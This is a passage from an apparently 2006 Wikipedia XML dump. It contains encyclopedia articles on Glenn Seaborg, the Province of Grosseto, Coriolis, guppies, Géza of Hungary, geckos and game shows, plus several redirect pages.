Of [[Sweden|Swedish]] ancestry, Seaborg was born in [[Ishpeming, Michigan]], grew up in [[South Gate, California]] (a suburb next to [[Watts, Los Angeles, California|Watts]] in [[Los Angeles, California|Los Angeles]]), took his bachelors degree at the [[University of California, Los Angeles]] in [[1934]], where he joined [[Alpha Chi Sigma]], and his [[Doctor of Philosophy|doctorate]] at the [[University of California, Berkeley]] in [[1937]]. He lived most of his retired life in [[Lafayette, California]].

He followed [[Frederick Soddy]]'s work investigating [[isotope]]s, and discovered many new isotopes of common elements.

==A graduate student==
As a graduate student in the [[1930s]] doing wet chemistry research for his advisor [[Gilbert Newton Lewis]], Seaborg devoured the text ''[[Applied Radiochemistry]]'' by [[Otto Hahn]], of the [[Kaiser Wilhelm Institute for Chemistry]] in [[Berlin]].  For several years, Seaborg conducted important research in artificial [[radioactivity]] using the Lawrence [[cyclotron]] at Cal Berkeley.  He was excited to learn from others that [[nuclear fission]] was possible -- but also chagrined, as his own research might have led him to the same discovery.

Seaborg also became expert in dealing with the great Berkeley [[physicist]] [[Robert Oppenheimer]]. Oppenheimer was so quick and knew so much, he had a habit of answering a junior man's question before it had even been stated.  Often the question answered was more profound than the one asked, but of little practical help. Seaborg learned to state his questions to Oppenheimer very quickly and succinctly, and this habit of asking succinct questions stood Seaborg in good stead all his professional life.

==Career==
In [[1939]] he became an instructor in [[chemistry]] at UC Berkeley, was promoted to professor in [[1945]], and served as [[Chancellor (education)|chancellor]] from [[1958]] to [[1961]]. (In an amusing quirk, his last name is an anagram of the popular Berkeley cheer, &quot;Go Bears!&quot;)

He is credited for discovering and isolating [[plutonium]], [[americium]], [[curium]], [[berkelium]], and [[californium]] at Berkeley (the last four of which he codiscovered with [[Albert Ghiorso]]) and, with [[Edwin McMillan]], shared the [[Nobel Prize in Chemistry]] in [[1951]] for the creation of the first transuranium elements.

In the same year in which he produced plutonium, [[1941]], he also discovered that the isotope U&lt;sup&gt;235&lt;/sup&gt; undergoes fission under appropriate conditions. He therefore was responsible for two different approaches to the development of [[nuclear weapon]]s. At this time he was transferred to the [[Manhattan Project]] and was part of [[Enrico Fermi]]'s team which achieved the first [[nuclear chain reaction]] in [[1942]].

On [[April 19]], [[1942]], Seaborg reached Chicago, and joined up with the chemistry group at the [[Metallurgical Laboratory]] at the [[University of Chicago]], where Fermi and his group had already learned how to convert U&lt;sup&gt;238&lt;/sup&gt; to [[plutonium]] using a chain-reacting pile. Seaborg's role was to figure out how to extract the tiny bit of plutonium from the mass of [[uranium]].

Seaborg was elected to the [[National Academy of Sciences]] in [[1948]].

Seaborg served as chairman of the [[United States Atomic Energy Commission]] from [[1961]] to [[1971]].  In [[1976]], when the [[Sweden|Swedish]] king visited the United States, Seaborg played a major role in welcoming the king.

On [[August 24]], [[1998]], while in Boston to attend a meeting by the [[American Chemical Society]], Seaborg suffered a [[stroke]], which led to his death six months later.

==Marriage==
In 1942, Seaborg married Helen Griggs, the secretary of [[Ernest Lawrence]]. 

Under wartime pressure, Seaborg had moved to [[Chicago, Illinois]].  Later, when Seaborg returned to collect Griggs for them to be together, they took the train from Los Angeles to Chicago.  They got off in [[Caliente, Nevada]] for what they thought would be a quick wedding, but when they asked for City Hall, they found Caliente had none&amp;mdash;they would have to go 25 miles north to [[Pioche, Nevada|Pioche]], the [[county seat]].  Happily, one of Caliente's newest deputy sheriffs turned out to be a recent graduate of the Berkeley chemistry department.  He was happy to do a favor for Glenn Seaborg.  The deputy sheriff arranged for the wedding couple to ride up and back to Pioche in a mail truck.  The witnesses at their wedding were a clerk and a janitor.

He had six children with Helen, of whom the first, Peter Glenn Seaborg, died in [[1997]].  The others were Lynne Seaborg Cobb, [[David Seaborg]], Steve Seaborg, Eric Seaborg, and Dianne Seaborg.

==Quote==
National Commission on Education report in 1983, Glenn T. Seaborg, Chairman.
&lt;blockquote&gt;
Our Nation is at risk. Our once unchallenged preeminence in commerce, industry, science and technological innovation is being overtaken by competitors throughout the world.... the educational foundations of our society are presently being eroded by a rising tide of mediocrity that threatens our very future as a Nation and as a people. What was unimaginable a generation ago has begun to occur--others are matching and surpassing our educational attainments.
&lt;P&gt;
If an unfriendly foreign power had attempted to impose on America the mediocre educational performance that exists today, we might well have viewed it as an act of war. [http://teidnt3.lbl.gov/seaborg/risk.htm]
&lt;/blockquote&gt;

==Seaborgium==
The element [[seaborgium]] was named for him in honor of his accomplishments. It was so named while he was still alive, which [[element naming controversy|proved extremely controversial]]. For the remainder of his life, Seaborg was the only person in the world who could write his address in chemical elements: [[seaborgium]], [[lawrencium]], [[berkelium]], [[californium]], [[americium]] (Glenn Seaborg, [[Lawrence Berkeley National Laboratory]], [[Berkeley, California|Berkeley]], [[California]], [[United States|United States of America]]).

==External links==
* [http://www.nap.edu/readingroom/books/biomems/gseaborg.html National Academy of Sciences biography]
* [http://alsos.wlu.edu/qsearch.aspx?browse=people/Seaborg,+Glenn Annotated bibliography for Glenn Seaborg from the Alsos Digital Library]

==Books==
* ''[[The Actinide Elements]]'' (with Joseph Katz) ([[McGraw-Hill]], [[1954]])
* ''[[The Transuranium Elements]]'' ([[New Haven, Connecticut]]: [[Yale University Press]], [[1958]])
* ''[[Nuclear Milestones]]'' ([[San Francisco]]: [[W. H. Freeman]], [[1972]])
* ''[[Kennedy, Khrushchev, and the Test Ban]]'' (with [[Benjamin S. Loeb]]) ([[University of California Press]], [[1981]])
* ''[[Stemming the Tide: Arms Control in the Johnson Years]]'' (with [[Benjamin S. Loeb]]) ([[Lexington, Massachusetts]]: [[Lexington Books]], [[1987]])
* ''[[The Atomic Energy Commission under Nixon: Adjusting to Troubled Times]]'' (New York: [[St. Martin's Press]], [[1993]])
* ''[[The Plutonium Story: Journals of Professor Glenn T. Seaborg, 1939&amp;ndash;1946]]'' ([[Columbus, Ohio]]: [[Battelle Press]], [[1994]])
* ''[[A Chemist in the White House: From the Manhattan Project to the End of the Cold War]]'' ([[Washington, D.C.]]: [[American Chemical Society]], [[1996]])
* ''[[Adventures in the Atomic Age: From Watts to Washington]]'' (with son [[Eric Seaborg]]) ([[Farrar, Straus and Giroux]], [[2001]]) ISBN 0-374-29991-9

{{start box}}
{{succession box |
  before=[[Clark Kerr]] |
  title=[[University_of_California%2C_Berkeley#Chancellors|Chancellor]] of [[University_of_California%2C_Berkeley|UC Berkeley]] |
  years=1958&amp;ndash;1961 |
  after=[[Edward W. Strong]]
}}
{{end box}}

[[Category:1912 births|Seaborg, Glenn T.]]
[[Category:1999 deaths|Seaborg, Glenn T.]]
[[Category:American scientists|Seaborg, Glenn T.]]
[[Category:Chancellors of the University of California, Berkeley|Seaborg, Glenn T.]]
[[Category:Discoverers of chemical elements|Seaborg, Glenn T.]]
[[Category:Manhattan Project|Seaborg, Glenn T.]]
[[Category:Nobel Prize in Chemistry winners|Seaborg, Glenn T.]]
[[Category:Swedish-Americans|Seaborg, Glenn T.]]
[[Category:University of California, Berkeley faculty|Seaborg, Glenn T.]]
[[Category:National Medal of Science recipients|Seaborg]]

[[de:Glenn Theodore Seaborg]]
[[fr:Glenn Theodore Seaborg]]
[[he:גלן תיאודור סיבורג]]
[[nl:Glenn Seaborg]]
[[ja:グレン・シーボーグ]]
[[pl:Glenn Theodore Seaborg]]
[[pt:Glenn Theodore Seaborg]]</text>
    </revision>
  </page>
  <page>
    <title>Province of Grosseto</title>
    <id>13122</id>
    <revision>
      <id>40364213</id>
      <timestamp>2006-02-20T01:56:50Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{Infobox_ProvinceIT |
  fullname              = Province of Grosseto|
  name                  = Grosseto|
  region                = [[Tuscany]] |
  capital               = [[Grosseto]] |
  commune               = 28 |
  area                  = 1,504 |
  population_as_of      = (2001) |
  population            = 210,876 |
  populationdensity     = 47 |
  vehicle               = GR |
  postal_code           = 58010-58012, 58014-58015, 58017, 58019-58020, 58022-58026, 58031, 58033-58034, 58036-58038, 58042-58045, 58051, 58053-58055 |
  telephone_prefix      = 0564, 0566 |
  ISTAT                 = 053 |
  president             = Lio Scheggi |
  map                   = [[Image:Grosseto posizione.png|150px|]]|
  coatofarms            = [[Image:Provincia di Grosseto-Stemma.png|120px]]|
}}
'''Grosseto''' (It. ''Provincia di Grosseto'') is a [[Provinces of Italy|province]] in the [[Tuscany]] region of [[Italy]]. Its capital is the city of [[Grosseto]].

In the grid of the modern town you can find the old town centre surrounded by the green &quot;Hexagon&quot; of the ramparts which Francesco I renewed (1574). After the ravage of the Saracen in 935 the survivors from Roselle, an etruscan town, took shelter here, on the plain of Ombrone river a dozen of kilometres away from the sea. The fortune of the place followed the frequent alternation between land drainage and malaria which has been defeated in our century. Since 1336 Siena owned the town which surrendered to the Medicis only in 1559, after Montalcino. Grosseto is the chief town and market of &quot;Tuscan Maremma&quot;, it is essentially based on agricolture. You can visit The Cathedral built at the end of 1200, the &quot;Art and Archeological Museum&quot;, the Walls and the church of St.Francis, in the surroundings there is the Natural Park of Maremma and the Etruscan ruins of Roselle.see [http://www.italiantravelteam.com/tuscany.html this link])

It has an area of 4,504 sq km, and a total population of 211,086 (2001). There are 28 ''communes'' in the province (source: Italian institute of statistics ''Istat'', see [http://www.upinet.it/indicatore.asp?id_statistiche=6 this link]).

Other ''comunes'' of the province include [[Follonica]], [[Orbetello]] and [[Massa Marittima]].

The Natural Park of [[Maremma]] lies in the province.

In [[Monte Argentario]] all the [[European classical music|classical music]] lovers have appointment in the prestigious [[CIMA Festival]]
==External links==

* [http://www.provincia.grosseto.it Province homepage (in Italian)]

[[Category:Provinces of Italy|Grosseto]]
[[Category:Tuscany]]
{{italy-geo-stub}}
{{Tuscany}}

[[cs:Provincie Grosseto]]
[[de:Provinz Grosseto]]
[[fr:Province de Grosseto]]
[[id:Provinsi Grosseto]]
[[it:Provincia di Grosseto]]
[[nl:Grosseto (provincie)]]
[[ja:グロッセート県]]
[[pl:Prowincja Grosseto]]
[[pt:Província de Grosseto]]</text>
    </revision>
  </page>
  <page>
    <title>General Cornwallis</title>
    <id>13123</id>
    <revision>
      <id>15910755</id>
      <timestamp>2003-05-25T19:29:14Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Charles Cornwallis, 1st Marquess Cornwallis]]</text>
    </revision>
  </page>
  <page>
    <title>Gama'at Islamiya</title>
    <id>13124</id>
    <revision>
      <id>15910756</id>
      <timestamp>2005-04-16T13:49:15Z</timestamp>
      <contributor>
        <username>Hajor</username>
        <id>23076</id>
      </contributor>
      <comment>merge and redirect [[Al-Gama'a al-Islamiyya]]</comment>
      <text xml:space="preserve">#redirect [[Al-Gama'a al-Islamiyya]]</text>
    </revision>
  </page>
  <page>
    <title>Gaussian distribution</title>
    <id>13125</id>
    <revision>
      <id>15910757</id>
      <timestamp>2003-08-19T20:57:23Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT[[normal distribution]]</text>
    </revision>
  </page>
  <page>
    <title>Gaspard-Gustave Coriolis</title>
    <id>13126</id>
    <revision>
      <id>40364237</id>
      <timestamp>2006-02-20T01:56:59Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Gaspard-Gustave de Coriolis''' or '''Gustave Coriolis''' ([[May 21]] [[1792]]&amp;ndash;[[September 19]] [[1843]]), [[mathematician]], [[mechanical engineer]] and [[scientist]] born in [[Paris]], [[France]]. He is best known for his work on the [[Coriolis Effect]].  

In [[1816]] Coriolis became a tutor at the [[École Polytechnique]].  Here he carried out experiments on [[friction]] and [[hydraulics]].  

In 1829 Coriolis published a textbook, ''Calcul de l'Effet des Machines'' (Calculation of the Effect of Machines), which presented mechanics in a way that could be readily be applied by industry. In this period the correct expression for [[kinetic energy]], &lt;math&gt;\frac{1}{2}mv^2&lt;/math&gt;, and its relation to [[mechanical work]] became established. 

During the following years Coriolis worked to extend the notion of kinetic energy and work to rotating systems. The first of his papers, ''Sur le principe des forces vives dans les mouvements relatifs des machines'' (On the principle of kinetic energy in the relative motion in machines), was read to the Académie des Sciences (Coriolis 1832). Three years later came the paper that would make his name famous, ''Sur les équations du mouvement relatif des systèmes de corps'' (On the equations of relative motion of a system of bodies (Coriolis 1835). Coriolis's papers do not deal with the atmosphere or even the rotation of the earth, but with the transfer of energy in rotating systems like waterwheels. 

Coriolis's name began to appear in the meteorological literature at the end of the nineteenth century, although the term &quot;[[Coriolis force]]&quot; was not used until the beginning of the twentieth century. Today, the name Coriolis has become strongly associated with meteorology, but all major discoveries about the general circulation and the relation between the pressure and wind fields were made without knowledge about Gaspard Gustave Coriolis.

Coriolis died at the age of 51 in [[Paris]].

==Reference==
* Persson, A., 1998 ''How do we Understand the Coriolis Force?'' Bull. Amer. Meteor. Soc. 79, 1373-1385. &lt;BR&gt;[http://www.ap.cityu.edu.hk/Ap8813/References/Coriolis/Coriolis.pdf 374 KB PDF-file of the above article]

==External links==
* {{MacTutor Biography|id=Coriolis}}

{{france-bio-stub}}
{{mathbiostub}}

[[Category:1792 births|Coriolis, Gaspard-Gustave]]
[[Category:1843 deaths|Coriolis, Gaspard-Gustave]]
[[Category:Alumni of the École Polytechnique|Coriolis, Gaspard-Gustave]]
[[Category:French mathematicians|Coriolis, Gaspard-Gustave]]
[[Category:19th century mathematicians|Coriolis, Gaspard-Gustave]]
[[Category:French physicists|Coriolis, Gaspard-Gustave]]
[[Category:French engineers|Coriolis, Gaspard-Gustave]]
[[Category:Mechanical engineers|Coriolis, Gaspard-Gustave]]

[[da:Gaspard-Gustave Coriolis]]
[[de:Gaspard Gustave de Coriolis]]
[[es:Gaspard Coriolis]]
[[fr:Gaspard-Gustave Coriolis]]
[[it:Gaspard Gustave de Coriolis]]
[[lb:Gaspard-Gustave de Coriolis]]
[[nl:Gustave-Gaspard Coriolis]]
[[ja:ガスパール＝ギュスターヴ・コリオリ]]
[[pl:Gaspard-Gustave Coriolis]]
[[pt:Gustave-Gaspard Coriolis]]
[[ru:Кориолис, Гюстав Гаспар]]
[[sl:Gustave-Gaspard Coriolis]]
[[vi:Gaspard-Gustave de Coriolis]]</text>
    </revision>
  </page>
  <page>
    <title>Guppy</title>
    <id>13127</id>
    <revision>
      <id>40761963</id>
      <timestamp>2006-02-22T21:25:52Z</timestamp>
      <contributor>
        <ip>4.179.38.2</ip>
      </contributor>
      <text xml:space="preserve">:''For other uses of this word, see [[Guppy (disambiguation)]]''.
{{Taxobox
| color = pink
| name = Guppy
| status = {{StatusSecure}}
| image = guppy-male.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Actinopterygii]]
| ordo = [[Cyprinodontiformes]]
| familia = [[Poeciliidae]]
| genus = '''''[[Poecilia]]'''''
| species = '''''P. reticulata'''''
| binomial = ''Poecilia reticulata''
| binomial_authority = [[Wilhelm Peters|Peters]], 1859
}}

The '''guppy''', alternatively '''guppie''' ('''''Poecilia reticulata''''') is one of the most popular [[List of freshwater aquarium fish species|freshwater aquarium fish species]] in the world. It is a small member of the [[Poecilidae]] family (females 3 centimetres long, males 2 centimetres long) and like all other members of the family, is [[live-bearing aquarium fish|live-bearing]]. It prefers a [[hard water]] [[aquarium]] and can withstand a surprising degree of [[salinity]]. Its most famous characteristic is its propensity for breeding. 

The female guppy is drab brown to grey in colour. The much smaller male naturally has a colourful [[caudal fin]] (tailfin), showing wide variety in the wild, depending on where the stock comes from. These colourful variations have been considerably enhanced in shape and colour by [[selective breeding]].

In its natural environment in Central and South America, guppies are often found as isolated breeding populations. There is a great deal of variety between the populations, many with distinctive coloring or patterning. Those that live in habitats where predators are common tend to be less vividly decorated. Populations that deal with less predators are much more colorful. Recent studies suggest that vividly colored males are favored via sexual selection while natural selection via predation favors subdued tones. As a result, the dominant phenotypes observed within a reproductively isolated community is a function of the relative importance each factor has in a particular environment.

[[Robert John Lechmere Guppy]] (1836-1916) discovered this tiny fish in [[Trinidad]] in [[1866]], although the fish was known to German aquarists prior to that time. The guppy escaped from captivity and lives in a feral condition in much of the warmer regions of the world. It has been introduced to some areas to keep down the [[mosquito]] population and help fight [[malaria]], usually with mixed or negative results to the local ecosystem. The guppy can be found in its native habitat in small streams and ponds of virtually any size. In Trinidad they are commonly known as &quot;millions&quot; for obvious reasons.

Guppy breeding by aquarists produces variations in appearance ranging from color consistency to fantails and &quot;spike&quot; swordtails. Selective breeding has created an avid &quot;fancy guppy&quot; collector group, while the &quot;wild&quot; guppy maintains its popularity as one of the hardiest aquarium fish.  The gestation period of a guppy is 22-26 days.  When the female guppy becomes fertilized, a dark area near the anus, known as the gravid spot, will enlarge and darken .  This area is like a window into the guppy, and it is actually the eyes of the unborn fry when near birth.  Guppies prefer water temperatures of about 72 degrees F for reproduction.  After giving birth, the female is ready for conception within a few hours.  If a male does not mate with the female soon after birth, the female can use stored sperm from the previous mating.  For people breeding their own guppies, be aware that the adults will eat their young if they are hungry.

This fish has been introduced to the [[Netherlands]] where it lives in the cooling water of the [[Corus_Group|Corus]] Steelmill near [[IJmuiden]]. The result has been extraodinary; the fish thrive and have increased in size. Fish of 12 cm are the norm.

Over time, many species are assigned a different [[Taxonomy|taxonomic]] name. The guppy is no exception:
*Lebistes reticulatus 
*Acanthocephalus guppii 
*A. reticulatus
*Girardinus guppii 
*G. petersi
*G. poeciloides
*G. reticulatus
*Haridichthys reticulatus
*Heterandria guppyi
*Lebistes poecilioides
*Poecilia poeciloides
*Poecilioides reticulatus.
*For now: '''Poecilia reticulata'''

{{commons|Poecilia reticulata}}



[[Category:Live-bearers]]

[[de:Guppy]]
[[es:Poecilia reticulata]]
[[eo:Gupio]]
[[fr:Guppy]]
[[he:גופי]]
[[nl:Guppy]]
[[ja:グッピー]]
[[pl:Gupik]]
[[fi:Miljoonakala]]
[[sv:Guppy]]
[[tr:Lepistes]]
[[zh:孔雀鱼]]
[[ru:Гуппи]]</text>
    </revision>
  </page>
  <page>
    <title>Geza, king of Hungary</title>
    <id>13129</id>
    <revision>
      <id>15910761</id>
      <timestamp>2005-04-29T23:32:43Z</timestamp>
      <contributor>
        <username>Adam78</username>
        <id>36204</id>
      </contributor>
      <minor />
      <comment>fixing redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Géza of Hungary]]</text>
    </revision>
  </page>
  <page>
    <title>Géza of Hungary</title>
    <id>13131</id>
    <revision>
      <id>40265938</id>
      <timestamp>2006-02-19T09:57:25Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">:''Note: This article is about the ruling prince. There was also a king called [[Géza I of Hungary]] (1040-1077).''

'''Géza''' of Hungary (born around [[940]]-[[945]], died in [[997]]) (possibly ''Gyécsa'' in Old Hungarian, ''Gejza'' in Slovak), was the ''[[Hungarian nobility|fejedelem]]'' (ruling prince) of the [[Magyars]] from c. [[970]] to 997.

Géza was the son of [[Taksony of Hungary|Taksony]], ruling prince of the Magyars and his [[Cuman]] wife, and was the great-grandson of [[Árpád]], who gave his name to the ruling dynasty. Although still a [[Paganism|pagan]] when he became ruler, the alliance concluded between the [[Holy Roman Empire]] and [[Byzantium]] in [[972]] forced Géza to convert to [[Christianity]] in order to secure a lasting peace for Hungary. He turned to the Holy Roman Emperor [[Otto the Great|Otto I]], who ordained a [[Benedictine]] monk, Bruno of Sankt Gallen, as bishop and sent him to Hungary to baptise Géza (this occurred in [[985]] according to some sources). However, although he was mainly accepted as a Christian ruler it is doubtful that he was a Christian at heart. According to the Bishop of Merseburg he continued to worship pagan gods; a chronicle claims that when he was questioned about this he stated he is rich enough to sacrifice to both the old gods and the new one.

Although overshadowed by his son, King [[Stephen I of Hungary]], Géza made considerable achievements during his reign. He established centralised rule over the entire country, except for [[Transylvania]] which remained under the separate authority of the [[gyula]]. This allowed him to collect taxes and duties far more successfully than his predecessors and thus increase his personal wealth.

Géza's wife was Sarolt, daughter of [[Gyula]] of Transylvania, who was brought up as a Christian. Géza had a brother named [[Michael of Hungary|Michael]] (born in [[955]] at Esztergom), who became Regent of [[Poland]] and died about [[978]].

{{Succession|preceded=[[Taksony of Hungary|Taksony]]|office=[[List of Hungarian rulers|Ruling Prince of Hungary]]|succeeded=[[Stephen I of Hungary|Stephen I]]}}

[[Category:940s births|Geza]]
[[Category:997 deaths|Geza]]
[[Category:997 deaths|Geza of Hungary]]
[[Category:History of Hungary|Geza]]
[[Category:History of Slovakia|Geza]]
[[Category:Hungarian nobility|Geza of Hungary]]

[[de:Géza (Ungarn)]]
[[fr:Géza de Hongrie]]
[[he:גזה שליט הונגריה]]
[[hu:Géza fejedelem]]
[[pl:Gejza]]</text>
    </revision>
  </page>
  <page>
    <title>Geza</title>
    <id>13133</id>
    <revision>
      <id>15910765</id>
      <timestamp>2005-04-29T23:32:53Z</timestamp>
      <contributor>
        <username>Adam78</username>
        <id>36204</id>
      </contributor>
      <minor />
      <comment>fixing redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Géza of Hungary]]</text>
    </revision>
  </page>
  <page>
    <title>Gecko</title>
    <id>13134</id>
    <revision>
      <id>41507534</id>
      <timestamp>2006-02-27T21:00:00Z</timestamp>
      <contributor>
        <username>Dawson</username>
        <id>229166</id>
      </contributor>
      <minor />
      <comment>link</comment>
      <text xml:space="preserve">:''This article is about the animal. For the rendering engine by Mozilla, see [[Gecko (layout engine)]].''
{{Taxobox
| color = pink
| name = Geckos
| image = Housegecko.jpg
| image_caption = House gecko on vertical surface
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Reptile|Reptilia]]
| ordo = [[Squamata]]
| subordo = [[Sauria]]
| familia = '''Gekkonidae'''
| familia_authority = [[John Edward Gray|Gray]], 1825
| subdivision_ranks = Subfamilies
| subdivision = 
[[Aeluroscalabotinae]]&lt;br&gt;
[[Eublepharinae]]&lt;br&gt;
[[Gekkoninae]]&lt;br&gt;
[[Teratoscincinae]]&lt;br&gt;
[[Diplodactylinae]]
}}

'''Geckos''' are small to moderately large [[lizard]]s belonging to the family '''Gekkonidae''' and found in warm climates throughout the world. Geckos are unique among lizards in their vocalizations, making chirping sounds in social interactions with other geckos. Geckos are unusual in other respects as well. Many species have specialized toe pads that enable them to climb smooth vertical surfaces and even cross indoor ceilings with ease. These antics are well-known to people who live in warm regions of the world where several species of geckos make their home inside human habitations. These species (for example the House gecko) become part of the indoor menagerie and are seldom really discouraged because they feed on insect [[Pest (animal)|pest]]s.

Most geckos are tan to dark grey, subtly patterned, and somewhat rubbery looking. Some species can change color to blend in with their surroundings or with temperature differences. However others can be brightly colored.

Some species are [[parthenogenesis|parthenogenic]], the females capable of reproducing without copulating with a male. This improves the geckos' ability to spread to new islands.

The toes of the gecko have attracted a lot of attention, as they adhere to a wide variety of surfaces, without the use of liquids or surface tension. Recent studies of the [[seta|setae]] on gecko footpads demonstrates that the attractive forces that hold geckos to surfaces are [[van der Waals force|van der Waals interactions]] between the finely divided setae and the surfaces themselves. That these kinds of interactions involve no liquids (or no gases) is important; in theory, a boot made of [[synthetic setae]] would adhere as easily to the surface of the [[International Space Station]] as it would to a living room wall.

The [[family (biology)|family]] Gekkonidae is divided into five different subfamilies, containing numerous different [[genus|genera]] of gecko [[species]]. Many geckos are kept as pets and will eat various kinds of [[insect]]s and sometimes [[fruit]]. 

==Common species of geckos==
[[Image:Gecko_Rockwall_TX_US.jpg|thumb|200px|A Mediterranean gecko in [[Texas]], [[USA]]]]
* '''Golden gecko''', ''Gekko ulikovski''&amp;mdash;
* '''House gecko''', ''Hemidactylus frenatus''&amp;mdash;A species that thrives around man and human habitation structures in the tropics and subtropics world wide.  
* '''Indo-Pacific gecko''', ''Hemidactylus garnoti''&amp;mdash;Also known as a '''fox gecko''' because of its long, narrow snout. This species is found in houses throughout the tropics.  This gecko may eat [[leafcutter ant]]s.
* '''Mediterranean gecko''', ''Hemidactylus turcicus''&amp;mdash;residential and wild, introduced species (USA). 
* '''[[Leopard gecko]]''', ''Eublepharis macularius ''&amp;mdash;The most common gecko kept as a pet is the leopard gecko, which does not have toe pads with setae, but rather claws. These enable it to more easily climb on rough surfaces like tree bark.  This gecko cannot climb the glass of a terrarium.  The leopard gecko tends to be docile and calm. This gecko can eat [[cockroaches]], [[crickets]], [[mealworm]]s, [[waxworm]]s, and superworms. 
*'''Mourning gecko''', ''Lepidodactylus lugubris''&amp;mdash;This species is equally at home in the wild as in residential neighborhoods. Found in [[Hawaiian Islands|Hawaii]], it may have been an early Polynesian introduction. A parthenogenic species.
*'''Stump-toed gecko''', ''Gehyra mutilata'' (=''Peropus mutilatus'')&amp;mdash;This gecko can vary its color from very light to very dark to blend into a background. At home in the wild as well as in residential neighborhoods. 
* '''[[Tokay gecko]]''', ''Gekko gecko''&amp;mdash;This is the lizard for which geckos were named.  It is one of the relatively few lizards that vocalizes, and its mating call has variously been described as a loud ''gek-gek-gek-gekkkk'' or as ''tok-eh tok-eh''.  The Tokay, an attractive but very aggressive species native to Southeast Asia, was in the past popular in the pet trade (apartment-dwellers in New York are sometimes advised by pet-shop owners to let Tokays run free to control [[cockroaches]], though one might expect the vocalizations to be disconcerting!) and the species has naturalized in southern [[Florida]] and [[Hawaii]].
* '''Tree gecko''', ''Hemiphyllodactylus typus''&amp;mdash;Tree geckos are  forest dwellers.
* '''[[New Caledonian crested gecko|Crested Gecko]]''', ''Rhacodactylus ciliatus''&amp;mdash; Until recently believed extinct.  Gaining in popularity as a pet.
* '''[[New Caledonian bumpy gecko|Gargoyle Gecko]]''', ''Rhacodactylus auriculatus''&amp;mdash; commonly known as the New Caledonian bumpy gecko or Gargoyle gecko.
* '''[[New Caledonian Giant Gecko|Leachianus Giant Gecko]]''', ''Rhacodactylus leachianus''&amp;mdash; first described by Cuvier in 1829, is the largest of the Rhacodactylus geckos.
* '''Crocodile or [[Moorish gecko]]''', ''Tarentola mauritanica''&amp;mdash;Crocodile geckos are very strong and heavily built for thier size usually growing up to 6 inches. They are commonly found in the Mediterranean region from southern France to Greece and northern Africa. Their most distinguishing characteristic is their pointed head and spiked skin with their tail resembling that of a crocodile's.

==External links==
*[http://images.zacharoo.com/animals/gecko/gecko.html Gecko Photos] Photos of Australian Marbled Velvet Gecko, ''(Oedura marmorata)''

[[Category:Geckos]]

[[bg:Гекон]]
[[de:Geckos]]
[[eo:Geko]]
[[es:Gekkonidae]]
[[fr:Gekkonidae]]
[[gl:Lagarta]]
[[ja:ヤモリ]]
[[jv:Tekek]]
[[lt:Gekonai]]
[[nl:Gekko's]]
[[pl:Gekony]]
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[[zh:壁虎]]</text>
    </revision>
  </page>
  <page>
    <title>Game show</title>
    <id>13135</id>
    <revision>
      <id>42124486</id>
      <timestamp>2006-03-03T23:58:05Z</timestamp>
      <contributor>
        <ip>209.205.161.120</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">:''&quot;Quiz show&quot; redirects here; for the movie, see [[Quiz Show]]. For the scandals of that name, see [[Quiz show scandals]]. For the Turkish computer games magazine, see [[Gameshow (Magazine)]].''

A '''game show''' involves members of the public or [[celebrity|celebrities]], sometimes as part of a team, playing a [[game]], perhaps involving answering quiz questions, for points or prizes. In some shows contestants compete against other players or another team whilst other shows involve contestants striving alone for a good outcome or high score. Game shows often reward players with prizes such as cash, or holidays and goods and services provided by the show's sponsors. Early television game shows descended from similar programs on broadcast [[radio]].

==Types==
There are several basic genres of game shows with a great deal of crossover between the different types.
*The simplest form of game show is a ''quiz show'' whereby people compete against each other by answering quiz questions or solving puzzles. Quiz shows usually involves members of the public, but sometimes special shows are aired in which celebrities take part and the prizes are given to charity. ''[[Wheel of Fortune]]'' and ''[[Jeopardy!]]'' are examples. Some quiz shows, such as the word games ''[[Password (game)|Password]]'' and ''[[Pyramid (game show)|Pyramid]]'', pair celebrities and non-notable citizens.
*A ''[[panel game]]'' usually involves a celebrity panel answering questions about a specialist field such as [[sport]] or [[music]] and is often played for laughs as much as points. ''[[Match Game]]'', a [[CBS]] daytime show from the 1970's is one such example. Other examples include ''[[What's My Line]]'' and ''[[To Tell The Truth]]''.
*The third kind of game show involves contestants completing stunts or playing a game that involves an element of chance or strategy in addition to, or instead of, a test of general knowledge.
*''Reality game shows'' have become popular in recent years. In a reality show the competition usually lasts several days or even weeks and a competitor's progress through the game is based on some form of popularity contest, usually a kind of [[disapproval voting]] by their fellow competitors or members of the public.
*''[[Dating game show]]s'', the original reality games, in which the prize is typically a well-funded [[dating]] opportunity that one can only pursue with the individual one has 'won' on the show.  They are also a type of [[date auction]] where competitors compete for dates not with money but with seductive powers or attractiveness or the promise of an enjoyable date or even ultimately marriage.

==History==
In the US, television game shows fell out of favor in the 1950s after it was revealed that favored contestants on ''[[The $64,000 Question]]'', ''[[Twenty One (game show)|Twenty One]]'' and other shows had been given answers and coached by the producers ''(see: [[Quiz show scandals]])''. They came back into favor in the 1960s by adopting merchandise prizes of far less value and by emphasizing larger numbers of simple questions, or physical contests without an advantage.
 
In the middle of the 1960s, [[Chuck Barris]] conceived a new genre in which the competitor's personal life became part of the show. They were the forerunners of today's reality game show. The prize was typically romantic opportunity (''[[The Dating Game]]'' — the first [[dating game show]]) or fame (''[[The Gong Show]]'') rather than cash. One of his famous shows, ''[[The Newlywed Game]]'', actually led to some divorces. This genre virtually disappeared from US screens in the [[1990s]]. ''[[Blind Date]]'', the British version of ''The Dating Game'', remained popular in the United Kingdom.
 
